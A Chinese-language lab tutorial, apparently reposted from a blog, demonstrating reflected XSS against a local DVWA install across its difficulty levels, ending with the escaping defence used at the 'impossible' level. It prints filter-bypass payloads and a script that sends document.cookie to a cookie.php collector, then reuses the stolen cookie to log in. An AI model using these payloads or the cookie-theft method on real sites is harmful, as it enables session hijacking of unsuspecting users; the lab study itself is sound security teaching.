DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示
一)XSS(Reflected)介紹:
反射型xss(非持久型):需要欺騙用戶自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。特點(diǎn):彈窗警告、廣告;javascript;在瀏覽器中執(zhí)行。
通過Web站點(diǎn)漏洞,向客戶交付惡意腳本代碼,實(shí)現(xiàn)對客戶端的攻擊;惡意攻擊者往Web頁面里插入惡意的 Script 代碼,當(dāng)用戶瀏覽該頁面時(shí),嵌入其中 Web 里面的 Script 代碼就會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的;注入客戶端腳本代碼、盜取cookie、重定向等。
二)實(shí)際中實(shí)現(xiàn)流程:
1)攻擊者向服務(wù)器端注入一段js代碼 2)服務(wù)器端響應(yīng)攻擊者一個(gè)帶有js代碼的頁面 3)攻擊者向普通用戶發(fā)送帶有js代碼的頁面,誘使用戶點(diǎn)擊頁面 4)用戶點(diǎn)擊攻擊者所發(fā)送的頁面,頁面自動(dòng)運(yùn)行js代碼,獲取用戶cookie,并發(fā)送給攻擊者三)實(shí)際操作:
正常輸入一個(gè)用戶名:
DVWA——XSS(Reflected)——low
核心源碼:<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> 源碼解析:1)array_key_exists檢查數(shù)組中是否有指定的鍵名 2)X-XSS-Protection: 1強(qiáng)制XSS保護(hù)(如果XSS保護(hù)被用戶禁用,則有用)0禁用XSS保護(hù)可以看到,low級(jí)別的代碼只是判斷了name參數(shù)是否為空,如果不為空的話就直接打印出來,并沒有對name參數(shù)做任何的過濾和檢查,沒用進(jìn)行任何的對XSS攻擊的防御措施,存在非常明顯的XSS漏洞,用戶輸入什么都會(huì)被執(zhí)行。
方法一:
輸入 <script>alert('hack')</script> 的結(jié)果:
此時(shí)通過 右鍵——查看網(wǎng)頁源代碼 可以在網(wǎng)頁前端代碼發(fā)現(xiàn)剛剛輸入的JS代碼已經(jīng)被寫入了:
方法二:
1)用alert進(jìn)行彈窗測試驗(yàn)證是否存在XSS:
<script>alert('hack')</script>
結(jié)論:成功彈窗,說明存在XSS漏洞并且可利用。
2)利用XSS獲取cookie
編寫一個(gè)cookie.php文檔用于獲取頁面的cookie,放置在一個(gè)指定的目錄下(可以嘗試放在網(wǎng)站的根目錄之外的路徑下看是否有效)文檔內(nèi)容如下:
接著編寫 js 代碼(意思就是利用本地的cookie.php這個(gè)文件獲取cookie,要注意本地的地址要寫對。)將頁面的cookie發(fā)送到cookie.php中
1)<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script> 注:前面我們只是利用<script>alert('hack')</script>其實(shí)現(xiàn)一個(gè)簡單的彈窗并沒有進(jìn)一步加以利用,此處我們構(gòu)造一句JS去獲取目標(biāo)的cookie,因?yàn)橐獙?gòu)造的要對上面的編寫的JS代碼進(jìn)行URL轉(zhuǎn)碼:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name=——是我們自己搭建的網(wǎng)站(dvwa)的XSS(Reflected)的路徑。2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#——是我們構(gòu)造的JS代碼(原本輸入于id框中<script>alert('hack')</script>變成了<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>并進(jìn)行了url編碼)。在實(shí)際中會(huì)將此url變換成短鏈接并放置到公網(wǎng)(或目標(biāo)服務(wù)器)中,等待目標(biāo)用戶點(diǎn)擊此鏈接,一旦目標(biāo)用戶點(diǎn)擊,那么攻擊者就可以獲取他的cookie并將cookie保存到攻擊者服務(wù)器指定路徑下的cookie.txt中。
在自己搭建的環(huán)境中可以直接將整個(gè)編碼后的url復(fù)制粘貼到地址欄進(jìn)行訪問,也可以將編碼后的JS代碼(url的后半段)在框中輸入。最終頁面跳轉(zhuǎn),說明js代碼執(zhí)行成功:
此時(shí),當(dāng)我們到phpstudy中的www目錄下就會(huì)發(fā)現(xiàn)成功生成了一個(gè)cookie.txt文檔:
3)利用獲取到的cookie登陸DVWA
在瀏覽器中訪問DVWA的登陸頁面,然后F12搜索cookie關(guān)鍵字并將cookie值修改為獲取到的cookie值:
訪問登陸頁面:
修改cookie值:
功地利用cookie登陸了DVWA并獲取了登陸身份:
DVWA——XSS(Reflected)——medium
<pre> </pre> 元素可定義預(yù)格式化的文本。被包圍在 pre 元素中的文本通常會(huì)保留空格和換行符。而文本也會(huì)呈現(xiàn)為等寬字體。
可以看到,medium級(jí)別的代碼只是在low級(jí)別上增加了對于<scripit>的過濾,把 <script>替換為空,然而并沒有什么用,我們可以直接采用以下幾種方式繞過。
方法一:(大小寫繞過)
<sCript>alert('hack')</scRIpt> <SCRIPT>alert('hack')</SCRIPT>輸入 <SCRIPT>alert('hack')</SCRIPT> 結(jié)果:
此時(shí)通過 右鍵——查看網(wǎng)頁源代碼 可以在網(wǎng)頁前端代碼發(fā)現(xiàn)剛剛輸入的JS代碼已經(jīng)被寫入了:
方法二:(雙寫繞過)
如果任然直接輸入 <script>alert('hack')</script> 會(huì)發(fā)現(xiàn)alert語句沒有被執(zhí)行,因?yàn)?lt;script>不再被當(dāng)成標(biāo)簽而被過濾了:
查看一下源代碼:
可以看到<script>標(biāo)簽已經(jīng)被替換為空,但其余內(nèi)容并沒有改變,我們可以利用雙寫繞過方法,也就是把<script>標(biāo)簽過濾后,剩下的內(nèi)容仍能組成完整的XSS語句:
此時(shí)再次查看源代碼:
圖
方法三:(使用非<script>標(biāo)簽的其他標(biāo)簽)
1) <img src=1 onerror='alert("hack")'> 2) 3)語句解析:只要src的值(圖片)找不到就一定會(huì)發(fā)生錯(cuò)誤,那么onerror的代碼得到了執(zhí)行:
圖
方法四:(關(guān)鍵字編碼)
有些時(shí)候服務(wù)器會(huì)對代碼中關(guān)鍵字進(jìn)行過濾(如alert),我們可以嘗試將關(guān)鍵字進(jìn)行unicode編碼(但是直接把編碼后的語句輸入是不會(huì)起作用的),再將編碼后的放在eval()會(huì)將編碼后的語句解碼后再執(zhí)行:
將alert(“D-Rose”)進(jìn)行unicode編碼:
\u0061\u006c\u0065\u0072\u0074("D-Rose")構(gòu)建出來的語句如下:
<Script>eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )</scripT>成功彈窗:
DVWA——XSS(Reflected)——high
可以看到,high級(jí)別的代碼使用了正則表達(dá)式直接把 <*s*c*r*i*p*t 給過濾了,* 代表一個(gè)或多個(gè)任意字符,i 代表不區(qū)分大小寫。所以<script>標(biāo)簽在這里就不能用了,但可以通過img、body等標(biāo)簽的事件或者iframe等標(biāo)簽的src注入惡意的js代碼。
在high等級(jí)中繼續(xù)使用 <script>alert(/xss/)</script> 測試是否有XSS漏洞,會(huì)發(fā)現(xiàn)只顯示 > 前面所有字符被過濾:
同時(shí)嘗試使用medium等級(jí)中的大小寫繞過、雙寫繞過,發(fā)現(xiàn)還是所有字符都被過濾。既然在high等級(jí)中<script>標(biāo)簽被徹底過濾,那么我們使用非<script>標(biāo)簽 img、body等標(biāo)簽的事件或者 iframe等標(biāo)簽 的src注入惡意js代碼。
方法一:
輸入 <img src=1 οnerrοr=alert('hack')> 結(jié)果:
<img src=1 οnerrοr=alert('hack')>的意思是,當(dāng)圖片顯示錯(cuò)誤時(shí),執(zhí)行 alert(‘hack’) ,這里我們構(gòu)造的的 src=1 肯定顯示錯(cuò)誤,所以執(zhí)行 alert語句。
此時(shí)通過 右鍵——查看網(wǎng)頁源代碼 可以在網(wǎng)頁前端代碼發(fā)現(xiàn)剛剛輸入的JS代碼已經(jīng)被寫入了:
DVWA——XSS(Reflected)——impossible
可以看出,impossible級(jí)別的代碼先判斷name是否為空,不為空的話然后驗(yàn)證其token,來防范CSRF攻擊。然后再用htmlspecialchars函數(shù)將name中的預(yù)定義字符 “<” (小于)和 “>” (大于)轉(zhuǎn)換成html實(shí)體,這樣就防止了我們填入標(biāo)簽。
當(dāng)我們輸入 <script>alert('hack')</script> 時(shí),因?yàn)?htmlspecialchars 函數(shù)會(huì)將 < 和 > 轉(zhuǎn)換成html實(shí)體,并且${name}取的是$name的值,然后包圍在<pre></pre>標(biāo)簽中被打印出來,所以我們插入的語句并不會(huì)被執(zhí)行:
查看源代碼,表單提交的過程中,把我們的user_token也一并提交了,來和服務(wù)器端的session_token做驗(yàn)證,防止CSRF攻擊。我們輸入的代碼,直接被當(dāng)成html文本給打印出來了,并不會(huì)被當(dāng)成js腳本執(zhí)行.
此時(shí)通過 右鍵——查看網(wǎng)頁源代碼 可以在網(wǎng)頁前端代碼發(fā)現(xiàn)剛剛輸入的JS代碼并沒有成功的寫入。
四)參考文獻(xiàn):
DVWA–反射型XSS(Reflected)攻略詳解
總結(jié)
以上是生活随笔為你收集整理的DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java怎么解析mdb文件_java解析
- 下一篇: Windows部署KMS服务器